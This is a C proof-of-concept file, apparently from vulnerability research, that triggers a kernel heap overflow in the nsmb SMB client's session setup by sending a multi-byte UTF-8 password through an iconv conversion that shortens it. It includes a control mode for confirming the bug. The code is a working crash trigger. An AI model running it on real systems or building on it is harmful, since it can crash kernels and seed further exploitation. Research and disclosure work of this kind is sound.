DF-0641 / trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 | /* * DF-0641 trigger: open /dev/nsmb (root-only, mode 0700) and issue * SMBIOC_OPENSESSION against 127.0.0.1:139 with a multi-byte UTF-8 * password and localcs=UTF-8 / servercs=CP1252. If the kernel iconv * shortens pbuf and ssnsetup is reached, the kernel heap overflows in * smb_smb_ssnsetup() (smb_smb.c:269-270). * * Root-only: /dev/nsmb autoclone parent is created 0700 by smb_dev.c. * * Run AFTER fakesmb (the fake SMB server) is listening on 127.0.0.1:139. */ #include <sys/param.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> /* Pull the nsmb ioctl structs from the kernel header if present. */ #include <netsmb/smb_dev.h> #include <sys/iconv.h> /* kiconv_add_xlat16_cspairs */ int main(int argc, char **argv) { const char *dev = (argc > 1) ? argv[1] : "/dev/nsmb"; struct sockaddr_in sa, la; struct smbioc_ossn ss; int fd, error; /* Build a multi-byte UTF-8 password. U+00C0..U+00FF is encoded as * 2 bytes in UTF-8 (0xC3 0x80..0xBF) and 1 byte in CP1252, so the * toserver conversion (UTF-8 -> CP1252) SHORTENS pbuf. We build a * 128-byte UTF-8 string (64 valid two-byte chars; no embedded NUL). * * CONTROL mode: pass any 2nd arg to use a plain ASCII password that * does NOT shorten under iconv -> NO overflow. If the crash only * happens in the multi-byte case, it is attributable to this bug. */ static unsigned char pass[129]; int i; if (argc > 2) { /* ASCII control: 128 single-byte chars -> no shortening */ for (i = 0; i < 128; i++) pass[i] = 'A' + (i % 26); pass[128] = '\0'; fprintf(stderr, "[trigger] CONTROL mode: ASCII password (no shortening)\n"); } else { for (i = 0; i < 64; i++) { pass[i*2] = 0xC3; /* lead byte: U+00C0..U+00FF */ pass[i*2+1] = 0x80 + (i % 0x40); /* valid 2nd byte 0x80..0xBF */ } pass[128] = '\0'; } fd = open(dev, O_RDWR); if (fd < 0) { fprintf(stderr, "open %s: %s (are you root? device is 0700)\n", dev, strerror(errno)); return 2; } fprintf(stderr, "[trigger] opened %s fd=%d\n", dev, fd); memset(&sa, 0, sizeof(sa)); sa.sin_len = sizeof(sa); sa.sin_family = AF_INET; sa.sin_port = htons(139); sa.sin_addr.s_addr = inet_addr("127.0.0.1"); /* A local address is REQUIRED: smb_vc_create() does * vcp->vc_laddr = dup_sockaddr(vcspec->lap) WITHOUT a NULL guard, * so lap==NULL derefs NULL. Use INADDR_ANY. */ memset(&la, 0, sizeof(la)); la.sin_len = sizeof(la); la.sin_family = AF_INET; la.sin_port = htons(0); la.sin_addr.s_addr = htonl(INADDR_ANY); memset(&ss, 0, sizeof(ss)); ss.ioc_opt = 0x0001; /* SMBVOPT_CREATE */ ss.ioc_server = (struct sockaddr *)&sa; ss.ioc_svlen = sizeof(sa); ss.ioc_local = (struct sockaddr *)&la; ss.ioc_lolen = sizeof(la); strlcpy(ss.ioc_srvname, "FAKE", sizeof(ss.ioc_srvname)); strlcpy(ss.ioc_localcs, "UTF-8", sizeof(ss.ioc_localcs)); strlcpy(ss.ioc_servercs, "ISO8859-1", sizeof(ss.ioc_servercs)); strlcpy(ss.ioc_user, "user", sizeof(ss.ioc_user)); strlcpy(ss.ioc_workgroup, "WG", sizeof(ss.ioc_workgroup)); memcpy(ss.ioc_password, pass, sizeof(ss.ioc_password)); ss.ioc_owner = 0; ss.ioc_group = 0; ss.ioc_mode = 0; ss.ioc_rights = 0; ss.ioc_timeout = 5; ss.ioc_retrycount = 1; fprintf(stderr, "[trigger] SMBIOC_OPENSESSION passwd[0..3]=%02x %02x %02x %02x len=%zu\n", pass[0], pass[1], pass[2], pass[3], strlen((char *)pass)); /* Register the localcs<->servercs iconv converter in the kernel, * exactly as mount_smbfs does before issuing the ioctl. This makes * iconv_open("ISO8859-1","UTF-8") succeed so the toserver handle * (which SHORTENS the multi-byte UTF-8 password) is created. */ { int r1 = kiconv_add_xlat16_cspairs(ss.ioc_servercs, ss.ioc_localcs); int r2 = kiconv_add_xlat16_cspairs(ss.ioc_localcs, ss.ioc_servercs); fprintf(stderr, "[trigger] kiconv_add_cspairs %s<->%s = %d, %d\n", ss.ioc_servercs, ss.ioc_localcs, r1, r2); } error = ioctl(fd, SMBIOC_OPENSESSION, &ss); fprintf(stderr, "[trigger] SMBIOC_OPENSESSION returned %d errno=%d (%s)\n", error, errno, strerror(errno)); /* If we get here the overflow did NOT fire (or charset was wrong). */ close(fd); return 0; } |